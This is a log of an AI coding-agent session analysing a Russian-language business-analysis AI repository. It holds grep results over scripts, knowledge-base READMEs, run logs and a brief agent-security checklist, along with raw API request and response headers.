\"signature\": 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[INFO]       }\n[2026-09-29T07:46:10.648Z] [INFO]     ],\n[2026-09-29T07:46:10.648Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:10.648Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_creation_input_tokens\": 2523,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_read_input_tokens\": 84107,\n[2026-09-29T07:46:10.648Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:10.648Z] [INFO]         \"ephemeral_5m_input_tokens\": 2523,\n[2026-09-29T07:46:10.648Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:10.648Z] [INFO]       },\n[2026-09-29T07:46:10.648Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:46:10.648Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:10.648Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:10.648Z] [INFO]     },\n[2026-09-29T07:46:10.648Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:10.648Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:10.648Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:10.648Z] [INFO]   },\n[2026-09-29T07:46:10.648Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"uuid\": \"280c7eb3-95bf-4983-badb-4d4148eef996\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:10.643Z\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"request_id\": \"req_011CfXMov6THYKxhmvXEvPvd\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:10.648Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:10.648Z] [INFO] }\n[2026-09-29T07:46:10.766Z] [INFO] {\n[2026-09-29T07:46:10.766Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"message\": {\n[2026-09-29T07:46:10.766Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:10.766Z] [INFO]     \"content\": [\n[2026-09-29T07:46:10.766Z] [INFO]       {\n[2026-09-29T07:46:10.766Z] [INFO]         \"tool_use_id\": \"toolu_01KBSaqhgDvkNYxs6EAGUG6X\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"content\": \"./standards/analysis-standard.md:81:| C. Product Spoke / Runtime | \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 `analysis-subtype` \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 Analysis \u2194 Audit \u043a \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u043c\u0443 / repo-state \u0440\u0430\u0437\u0431\u043e\u0440\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430; \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 runtime evidence, \u0430 \u043d\u0435 \u043f\u043e\u0433\u043b\u043e\\n./standards/research-standard.md:64:| C. Product Spoke / Runtime | \u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 distinction research evidence vs operational run; runtime/pipeline outputs \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `runs/` \u0438\u043b\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c artifact storage. |\\n./standards/GLOSSARY.md:86:| Evidence-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 (Evidence container) | \u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u044b `research//exp//` \u0441 \u043f\u043b\u043e\u0441\u043a\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 (\u0437\u0430\u043f\u0440\u0435\u0442 `outputs/`\\n./scripts/kb/runtime_snapshot.py:1:\\\"\\\"\\\"Read the immutable runtime KB snapshot used after issue #361 migration.\\n./scripts/kb/runtime_snapshot.py:3:The runtime checkout is fetched on demand outside this repository. Historical\\n./scripts/kb/runtime_snapshot.py:14:RUNTIME_REPOSITORY = \\\"https://github.com/G-Ivan-A/mango-ba-ai-runtime\\\"\\n./scripts/kb/runtime_snapshot.py:23:        root = Path(tempfile.gettempdir()) / \\\"mango-ba-runtime-kb\\\" / RUNTIME_COMMIT\\n./scripts/kb/runtime_snapshot.py:33:        raise RuntimeError(f\\\"runtime checkout must be {RUNTIME_COMMIT}, got {head}\\\")\\n./scripts/kb/runtime_snapshot.py:36:        raise RuntimeError(f\\\"runtime KB is missing: {kb}\\\")\\n./scripts/validate_issue_117_kb_traceability.py:24:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_111_kb_pipeline.py:34:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_310_kb_pdf_ingestion.py:33:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_363_run.py:11:4. \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 runtime-\u0411\u0417\\n./scripts/validate_issue_363_run.py:12:   \u043d\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c commit; \u0435\u0441\u043b\u0438 runtime \u043d\u0430 \u044d\u0442\u043e\u043c commit \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\\n./scripts/validate_issue_363_run.py:32:BLOB = re.compile(r\\\"^https://github\\\\.com/G-Ivan-A/mango-ba-ai-runtime/blob/([0-9a-f]{40})/(docs/kb/.+\\\\.md)$\\\")\\n./scripts/validate_issue_363_run.py:51:def local_runtime(commit: str) -> Path | None:\\n./scripts/validate_issue_363_run.py:95:            errors.append(\\\"\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0435 \u043d\u0430 runtime-\u0411\u0417 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c commit: %s\\\" % href)\\n./scripts/validate_issue_363_run.py:97:        runtime = local_runtime(match.group(1))\\n./scripts/validate_issue_363_run.py:98:        if runtime is None:\\n./scripts/validate_issue_363_run.py:100:        target = runtime / match.group(2)\\n./scripts/test_issue_361_kb_migration.py:11:RUNTIME = \\\"https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb\\\"\\n./scripts/test_issue_361_kb_migration.py:21:            errors.append(\\\"README does not link to the runtime KB\\\")\\n./scripts/test_issue_361_kb_migration.py:23:            errors.append(\\\"README does not pin the runtime commit\\\")\\n./scripts/validate_pagination_shift.py:17:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_351_run.py:21:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_115_kb_mango_pipeline.py:37:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_265_hub_sync.py:34:from kb.runtime_snapshot import processed_root\\n./scripts/validate_issue_365_run.py:11:4. \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 `[\u0414\u041e\u041a, \u00a7X \u00ab\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a\u00bb, \u0441.Y](url)` \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 runtime-\u0411\u0417\\n./scripts/validate_issue_365_run.py:12:   \u043d\u0430 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c commit; \u0435\u0441\u043b\u0438 runtime \u043d\u0430 \u044d\u0442\u043e\u043c commit \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\\n./scripts/validate_issue_365_run.py:32:BLOB = re.compile(r\\\"^https://github\\\\.com/G-Ivan-A/mango-ba-ai-runtime/blob/([0-9a-f]{40})/(docs/kb/.+\\\\.md)$\\\")\\n./scripts/validate_issue_365_run.py:51:def local_runtime(commit: str) -> Path | None:\\n./scripts/validate_issue_365_run.py:95:            errors.append(\\\"\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0435 \u043d\u0430 runtime-\u0411\u0417 \u0441 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c commit: %s\\\" % href)\\n./scripts/validate_issue_365_run.py:97:        runtime = local_runtime(match.group(1))\\n./scripts/validate_issue_365_run.py:98:        if runtime is None:\\n./scripts/validate_issue_365_run.py:100:        target = runtime / match.group(2)\\n./kb/README.md:18:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/sources/README.md:22:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/processed/README.md:15:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/processed/README.md:18:\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0441\u043d\u0438\u043c\u043e\u043a runtime: [`ed42b3cd0eed2774c9b080232ca00484d9a4f7cd`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/ed42b3cd0eed2774c9b080232ca00484d9a4f7cd/docs/kb).\\n./kb/processed/README.md:24:\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 `docs/kb//\u2026` \u0432 runtime \u043f\u043e \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043c\u043c\u0438\u0442\u0443 \u0432\u044b\u0448\u0435.\\n./kb/USAGE.md:19:[`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/main/docs/kb).\\n./kb/USAGE.md:21:\u0446\u0438\u0442\u0430\u0442\u044b \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c\u0438. \u0417\u0430\u043c\u0435\u043d\u044f\u0439\u0442\u0435 \u043f\u0440\u0435\u0444\u0438\u043a\u0441 \u043d\u0430 `docs/kb/` \u0432 runtime;\\n./ai-governance/agent-security-checklist.md:63:| **LLM01:2025 Prompt Injection** | \u041d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 scope; Readback, fail-closed, human clearance; \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043e\u0442\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442 \u0434\u0430\u043d\u043d\u044b\u0445. | \u041f\u0440\u043e\u0432\u0435\u0440\u0438\\n./ai-governance/agent-security-checklist.md:67:| **LLM05:2025 Improper Output Handling** | \u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0438 diff; \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435/allowlist \u043f\u0435\u0440\u0435\u0434 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439 \u0432\u044b\u0432\u043e\u0434\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c. | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\ufffd\\n./ai-governance/agent-security-checklist.md:68:| **LLM06:2025 Excessive Agency** | \u0427\u0435\u043b\u043e\u0432\u0435\u043a > \u041a\u043e\u043c\u0430\u043d\u0434\u0430 Q > \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c; fail-closed; \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430; approval \u0432\u043d\u0435\u0448\u043d\u0438\u0445/\u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439. | \u0421\u0432\u0435\u0440\u0438\u0442\u044c \u0434\u0435\u0439\ufffd\\n./ai-governance/agent-security-checklist.md:69:| **LLM07:2025 System Prompt Leakage** | \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433-\u043f\u0440\u043e\u043c\u043f\u0442 \u0425\u0430\u0431\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u0435\u043d by design \u0438 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432; \u0441\u043a\u0440\u044b\u0442\u044b\u0435 prompts/credentials \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u044f\u0442\u0441\u044f. | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\ufffd\\n./ai-governance/agent-security-checklist.md:72:| **LLM10:2025 Unbounded Consumption** | token budget, stop condition, \u043b\u0438\u043c\u0438\u0442\u044b \u0448\u0430\u0433\u043e\u0432/retries/cost \u0438 human review \u043f\u0440\u0435\u0432\u044b\u0448\u0435\u043d\u0438\u044f. | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u043c\u0438\u0442 \u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f; \u043f\u0440\ufffd\\n./runs/2026/RUN-0028/logs/metrics.md:29:\u0447\u0435\u0440\u0435\u0437 `tiktoken:[REDACTED] (\u0447\u0443\u0436\u0430\u044f \u0434\u043b\u044f Qwen \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430), \u0437\u0434\u0435\u0441\u044c \u0432\u044b\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n./runs/2026/RUN-0014/logs/chat-transcript.md:85:## [2] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:123:## [4] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:153:## [6] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/chat-transcript.md:226:## [8] \u0410\u0441\u0441\u0438\u0441\u0442\u0435\u043d\u0442 (Qwen3.7-Plus)\\n./runs/2026/RUN-0014/logs/metrics.md:24:| \u041c\u043e\u0434\u0435\u043b\u044c | `qwen3.7-plus` (Qwen3.7-Plus, \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441) |\\n./runs/2026/RUN-0018/feedback/review-notes.md:69:\u041f\u0440\u043e\u0433\u043e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0432\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u043c \u0447\u0430\u0442\u0435 (Qwen, `auto_search: true`) **\u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\n./runs/2026/RUN-0068/logs/experiment-log.md:38:- \u00a7 / \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a / \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432 \u0441\u0441\u044b\u043b\u043a\u0430\u0445 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0438\u0437 frontmatter \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 runtime-\u0411\u0417\\n./runs/2026/RUN-0068/outputs/README.md:20:MANGO_BA_RUNTIME_MAIN=/path/to/mango-ba-ai-runtime python3 experiments/issue_363/generate_run.py\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:23:- SSOT: \u0411\u0417 [`mango-ba-ai-runtime/docs/kb`](https://github.com/G-Ivan-A/mango-ba-ai-runtime/tree/91406e430aeb70dabf20548eee0ea95127f42690/docs/kb)\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:30:| 1 | \u041e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 (\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e, \u0432\u0445\u043e\u0434\u044f\u0449\u0435\u0433\u043e) \u0431\u0435\u0437 \u043f\u043e\u0441\u0440\u0435\u0434\u043d\u0438\u043a\u043e\u0432, \u0430\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440\u043e\u0432, \u043a\u0430\u043a \u043d\u0430 \u0410\u0431\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441\u0442\u0430\u0446\u0438\u043e\u043d\u0430\u0440\u043d\u043e\\n./runs/2026/RUN-0068/outputs/L0-feasibility-assessment-1114.md:31:| 2 | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442: SIPv2 (UDP). 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\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0422\u0424\u041e\u041f \u043d\u043e\u043c\",\n[2026-09-29T07:46:10.766Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:10.766Z] [INFO]       }\n[2026-09-29T07:46:10.766Z] [INFO]     ]\n[2026-09-29T07:46:10.766Z] [INFO]   },\n[2026-09-29T07:46:10.766Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"uuid\": \"683ee165-dcba-43d0-a465-89418261e570\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:10.760Z\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:10.766Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:10.766Z] [INFO] }\n[2026-09-29T07:46:10.791Z] [STDOUT] [log_ea6be8] sending request {\n[2026-09-29T07:46:10.795Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:10.799Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:10.809Z] [STDOUT]   options: {\n[2026-09-29T07:46:10.815Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:10.822Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:10.830Z] [STDOUT]     body: {\n[2026-09-29T07:46:10.838Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:10.845Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:10.849Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:10.856Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:10.865Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:10.869Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:10.874Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:10.877Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:10.880Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:10.883Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:10.895Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:10.942Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:10.962Z] [STDOUT]     },\n[2026-09-29T07:46:10.976Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:11.010Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:11.015Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:11.020Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:11.027Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:11.033Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:11.036Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:11.040Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:11.044Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:11.056Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:11.061Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:11.066Z] [STDOUT]     },\n[2026-09-29T07:46:11.069Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:11.072Z] [STDOUT]   },\n[2026-09-29T07:46:11.075Z] [STDOUT]   headers: {\n[2026-09-29T07:46:11.078Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:11.082Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:11.086Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": 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https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 766ms\n[2026-09-29T07:46:11.560Z] [STDOUT] [log_ea6be8] response start {\n[2026-09-29T07:46:11.563Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:11.565Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:11.570Z] [STDOUT]   headers: {\n[2026-09-29T07:46:11.574Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:11.578Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:11.582Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:11.586Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:11.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:11.594Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.598Z] [STDOUT]   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\"no-cache\",\n[2026-09-29T07:46:11.632Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:11.643Z] [STDOUT]     \"cf-ray\": \"a4295f617a974d8b-FRA\",\n[2026-09-29T07:46:11.647Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:11.651Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:11.653Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:11.656Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:11.659Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:11 GMT\",\n[2026-09-29T07:46:11.663Z] [STDOUT]     \"request-id\": \"req_011CfXMp9d3WyakJDh2zqjsi\",\n[2026-09-29T07:46:11.666Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:11.670Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:11.674Z] [STDOUT]     traceresponse: \"00-4507225d03499b0c0a31749c9e2ac380-fdd1f21fe2f5dfb1-01\",\n[2026-09-29T07:46:11.677Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:11.680Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:11.685Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:11.691Z] [STDOUT]   },\n[2026-09-29T07:46:11.696Z] [STDOUT]   durationMs: 766,\n[2026-09-29T07:46:11.702Z] [STDOUT] }\n[2026-09-29T07:46:11.709Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:11.713Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:11 GMT\",\n[2026-09-29T07:46:11.717Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:11.722Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:11.726Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:11.731Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:11.738Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:11.745Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:11.753Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:11.759Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:11.763Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:11.776Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:11.781Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:11.786Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:11.789Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:11.793Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:11.797Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:11.802Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.805Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:11.810Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:11.814Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:11.819Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:11.823Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:11.830Z] [STDOUT]   \"request-id\": \"req_011CfXMp9d3WyakJDh2zqjsi\",\n[2026-09-29T07:46:11.838Z] [STDOUT]   \"traceresponse\": \"00-4507225d03499b0c0a31749c9e2ac380-fdd1f21fe2f5dfb1-01\",\n[2026-09-29T07:46:11.844Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:11.853Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:11.857Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:11.860Z] [STDOUT]   